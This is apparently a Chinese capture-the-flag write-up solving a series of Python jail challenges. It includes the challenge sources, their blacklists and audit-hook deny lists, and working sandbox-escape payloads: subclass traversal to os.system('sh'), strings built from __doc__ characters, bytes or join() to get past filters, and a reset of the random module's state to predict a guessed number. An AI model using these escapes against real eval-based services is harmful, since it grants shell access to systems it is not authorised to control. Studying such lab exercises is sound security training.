以前没有研究过的是,在这个随机库中还包含两个比较实用的函数getstate()setstate()。通过导库之后用getstate()可以得到一个元组(省略号省略了624个32位随机数):

1
(3, (..., 624), None)

经过简单的测试发现在这个三元组里第一和第三个元素始终是3和None,第二个元组中最后一个数其实类似于一个随机数指针,指向现在生成到的随机数,通过调用一次getrandint(32)之后发现改变:

1
(3, (..., 1), None)

同时,省略号的随机数序列也更新到了新的一组。这里我尝试用setstate()将当前的state转回0位置,这样我再生成的随机数和一开始的随机数是一致的:

1
2
3
4
5
6
from random import *

print(getrandbits(32))
res = getstate()
setstate((3, tuple(list(res[1][:624]) + [0]), None))
print(getrandbits(32))

所以,可以通过这个方法输入一个操作,使得我们能获得当前随机数序列的状态state,并回到0位置重新生成一个题目的生成random.randint(1, 9999999999999),这样我们生成的随机数和题目的随机数应该是一摸一样的,相当于”猜“出了这个随机数。

现在问题来了,该如何在一行代码里满足我们的这个操作呢?

这里不得不提到之前做题时经常发现的一个比较抽象的运算符:=(这玩意在py3.8引入,还有一个广泛的别名:它长得比较像海象,所以又叫海象运算符,用这个运算符可以构成赋值表达式)。

这个运算符可以对表达式进行赋值给运算符左边的变量,举个例子:

1
2
3
4
5
6
7
8
9
10
print(
[
random := __import__("random"),
random.randint(1, 9999999999999),
random.setstate((3, tuple(list(random.getstate()[1][:624]) + [0]), None)),
random.randint(1, 9999999999999),
]
)

# [<module 'random' from 'random.py'>, 4180160353219, None, 4180160353219]

我们用一个list来装这四个表达式,第一个表达式我们用__import__来导入random库,并直接赋值给random参数,相当于直接用random导入了random库import random,接下来由于list是从前往后运算的性质,接下来就可以利用random.去引用库函数了,根据上面的随机数理论,在第二个和第四个表达式中生成的两个随机数应该是一样的,所以根据这个思路,就可以用一句话去得到我们需要猜的数:

1
[random := __import__("random"), random.setstate((3, tuple(list(random.getstate()[1][:624]) + [0]), None)), random.randint(1, 9999999999999)][-1]

4 byte command

4byte to rce,So easy!!!

题目没有给附件,先连一下环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/


Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.

这里随便输入点东西,发现:

1
2
3
Enter your expression and I will evaluate it for you.
> 1
sh: 1: 1: not found

这是直接在sh里执行了代码,这就提示我们是用的os.system(input_data)去执行的输入,所以我们直接输入sh即可拿到shell:

1
2
3
4
5
Enter your expression and I will evaluate it for you.
> sh
sh: 0: can't access tty; job control turned off
$ cat flag
flag=NSSCTF{8b417c0a-f90f-4cfc-beb0-ee9b2573bba7}

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#4 byte to have an rce
import os

WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/

'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>4:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(os.system(input_data)))

calc_jail_beginner_level5.1

“crazyman has a bad error on level5

now level5.1 come back

work your exploit!!!

依然是没有给附件,连一下环境:

1
2
It's so easy challenge!
Seems flag into the dir()

尝试一句话RCE:

1
2
3
4
5
6
7
> __import__('os').system('sh')
Traceback (most recent call last):
File "/home/ctf/./server.py", line 42, in <module>
File "/home/ctf/./server.py", line 31, in main
File "/home/ctf/./server.py", line 39, in repl
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined

发现甚至没有__import__,简单试了几个,发现也没有open,继续测试:

1
2
> dir()
['__builtins__', 'my_flag']

查看一下__builtins__

1
2
3
4
5
6
7
8
9
> __builtins__
Traceback (most recent call last):
File "/home/ctf/./server.py", line 42, in <module>
File "/home/ctf/./server.py", line 31, in main
File "/home/ctf/./server.py", line 39, in repl
File "<string>", line 1, in <module>
File "/usr/lib/python3.10/_sitebuiltins.py", line 61, in __repr__
File "/usr/lib/python3.10/_sitebuiltins.py", line 50, in __setup
NameError: name 'open' is not defined

发现open没有无法直接得到__builtins__,这时想起了Show subclasses with tuple:

1
().__class__.__base__.__subclasses__()

发送之后得到了__builtins__。并且找到了 <class 'os._wrap_close'>,就直接按照这个方法拿shell:

1
().__class__.__base__.__subclasses__()[-6].__init__.__globals__['system']('sh')

顺带获取一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#It's an challenge for jaillevel5 let's read your flag!
import load_flag

BLACKLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'open','print']

exec_func = exec
compile_func = compile
print_func = print

for k in BLACKLIST:
del __builtins__.__dict__[k]

del __loader__, __builtins__

flag = load_flag.get_flag()

def main():
WELCOME = '''
_ _ _ _ _ _ _ _____ __
| | (_) (_) (_) | | | | ____/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__ | |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \ | |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)_|
__/ | _/ |
|___/ |__/

'''
print_func(WELCOME)
print_func("It's so easy challenge!")
print_func("Seems flag into the dir()")
repl()


def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile_func(input_code, '<string>', 'single')
exec_func(complie_code, my_global_dict)

if __name__ == '__main__':
main()

lak3 lak3 lak3

“laKe laKe laKe have some interesting sol

But now lak3 lak3 lak3 is back

G00d luck! Hackers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#Hi hackers,lak3 comes back
#Have a good luck on it! :Wink:

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
del __builtins__.__dict__[m]


def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

WELCOME='''
_ _ ____ _ _ ____ _ _ ____
| | | | |___ \ | | | | |___ \ | | | | |___ \
| | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
| |/ _` | |/ /|__ < | |/ _` | |/ /|__ < | |/ _` | |/ /|__ <
| | (_| | < ___) | | | (_| | < ___) | | | (_| | < ___) |
|_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/

'''

def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print('flag{fake_flag_in_local_but_really_in_The_remote}')
else:
print('Guess game end!!!')

if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()

跟前面那个题似乎类似,因为我们的方法并没有使用任何的RCE技巧,所以尝试了一下用相同的方法,直接过了:

1
2
3
Can u guess the number? between 1 and 9999999999999 > [random := __import__("random"), random.setstate((3, tuple(list(random.getstate()[1][:624]) + [0]), None)), random.randint(1, 9999999999999)][-1]
you are really super guesser!!!!
NSSCTF{9df8e5bc-d76d-4d80-a437-9fccefcbd58d}

tyPe Ch@nnEl

给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MY_FLAG = "NSSCTF{fake_flag_in_local_but_really_in_The_remote}"
BLACED_KLIST = '"%&\',-/_:;@\\`{|}~*<=>[] \t\n\r'

def my_safe_check(n):
return all(ord(m) < 0x7f for m in n) and all(m not in n for m in BLACED_KLIST)

def my_safe_eval(m, my_func):
if not my_safe_check(m):
print("Hacker!!!!")
else:
try:
print(eval(f"{my_func.__name__}({m})", {"__builtins__": {my_func.__name__: my_func}, "flag": MY_FLAG}))
except:
print("Try again!")

if __name__ == "__main__":
my_safe_eval(input("Payload:"), type)

简单了解一下python里的all()的用法:

all(Iterable)在可迭代对象中如果每一个值都为True那么all()也返回布尔值True。

如果可迭代对象是空的那么也返回True。

这题牵扯到侧信道攻击,暂时没看懂这题等到看懂再来搞。

calc_jail_beginner_level4

So cool that u finished the week1 challenge

No dangerous password no chr try to hack me!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

eval_func = eval

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval_func(input_data)))

看了一下被禁用的内容,不影响使用Show subclasses with tuple:

1
().__class__.__base__.__subclasses__()

找到<class 'os._wrap_close'>在倒数第四个,拿出payload:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

注意这题还ban掉了单引号双引号反引号,将payload里的两个字符串改一下bytes型:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115, 121, 115, 116, 101, 109]).decode()](bytes([115, 104]).decode())

当然,方法总部困难多,如果bytes型这种也不让使用的话,还有一种比较巧妙的方法,就是从魔术方法的文档里去找字符然后进行拼接:

__doc__魔术方法能从默认的类里找到相对应的文档,例如().__doc__就是tuple类的文档,输出:

1
2
3
4
5
6
Built-in immutable sequence.

If no argument is given, the constructor returns an empty tuple.
If iterable is specified the tuple is initialized from iterable's items.

If the argument is a tuple, the return value is the same object.

返回了一段字符串文字,可以从里面找到我们需要的字母的偏移量,然后拿来用偏移量表示字符即可:

1
2
3
().__doc__.find('s')

# 19

下次想使用字符s的时候,直接使用().__doc__[19]即可。只要我们选择的文档里面有足够多的字母,那么就可以得到想要的字母。

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])

事实上,通过ls发现flag文件就叫flag,在已知flag文件名字的前提下,可以直接使用open('flag').read()去改写,两种方法如下:

1
2
3
4
open(bytes([102, 108, 97, 103]).decode()).read()

# print([().__doc__.find('f'),().__doc__.find('l'),().__doc__.find('a'),().__doc__.find('g')])
open(().__doc__[31]+().__doc__[3]+().__doc__[14]+().__doc__[38]).read()

calc_jail_beginner_level4.0.5

So cool that u finished the week1 challenge Let’s 4.0.5

No dangerous password no chr try to hack me!!!

没有附件:

1
2
3
4
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!

尝试同样用上面的方法直接过了,获取一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals']

my_eval_func_0002321 = eval
my_input_func_2309121 = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | | | || | / _ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| | | || |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| | | ||___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |_| | ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)\___(_)____/
__/ | _/ |
|___/ |__/

'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,\",' Good luck!")
input_data = my_input_func_2309121("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_0002321(input_data)))

calc_jail_beginner_level4.1

So cool that u finished the 4.0 challeng

but now u can read file

也没有附件:

1
2
3
4
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!

用level4的做法还是可以,注意这题已经把bytes给ban掉了:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])

而且这题flag文件名字也改了,所以投机取巧的方法也不成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']

my_eval_func_ABDC8732 = eval
my_input_func_001EC9GP = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | || |/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)_|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,\",' Good luck!")
input_data = my_input_func_001EC9GP("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_ABDC8732(input_data)))

如果bytes被删掉了,其实还可以利用Show subclasses with tuple找到bytes类:

1
().__class__.__base__.__subclasses__()

找到里面的<class 'bytes'>,修改之前的payload,将payload改成Show subclasses with tuple表达的形式:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

calc_jail_beginner_level4.2

So cool that u finished the 4.1 challenge

filter + try again!!!

还是没有源码:

1
2
3
4
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!

这题试了一下__doc__拼接的方法,并没有成功,测试了一下好像是+被拿下了,python还提供了一个join()方法用来连接字符串,之前也用过,所以直接拿来改payload:

join()常用的方法就是''.join(['1','2','3','4']) == '1234',这里由于引号被ban了,可以直接使用str().join()来代替。

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

获取了源码发现确实是ban掉了加号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']

my_eval_func_00EFCDB = eval
my_input_func_00FDCAB = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`+')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | | || | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ / /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____|
__/ | _/ |
|___/ |__/


'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,\",',+ Good luck!")
input_data = my_input_func_00FDCAB("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_00EFCDB(input_data)))

事实上,这题也可以用4.1里的bytes那种方法,所以也可以这样:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

calc_jail_beginner_level4.3

So cool that u finished the 4.1 challenge

filter +++ try again!!!

没有附件:

1
2
3
4
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+ Good luck!

试试前几关的payload,首先是用bytes改写,成功:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

看看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open']

my_eval_func_002EFCDB = eval
my_input_func_000FDCAB = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`+')
return any(c in not_allowed for c in s)

def main():
WELCOME = '''
_ _ _ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | | || | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____/
__/ | _/ |
|___/ |__/


'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,\",',+ Good luck!")
input_data = my_input_func_000FDCAB("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_002EFCDB(input_data)))

if __name__ == '__main__':
main()

再来试试join,也成功:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

calc_jail_beginner_level6

Good luck of whitelist of audit_hook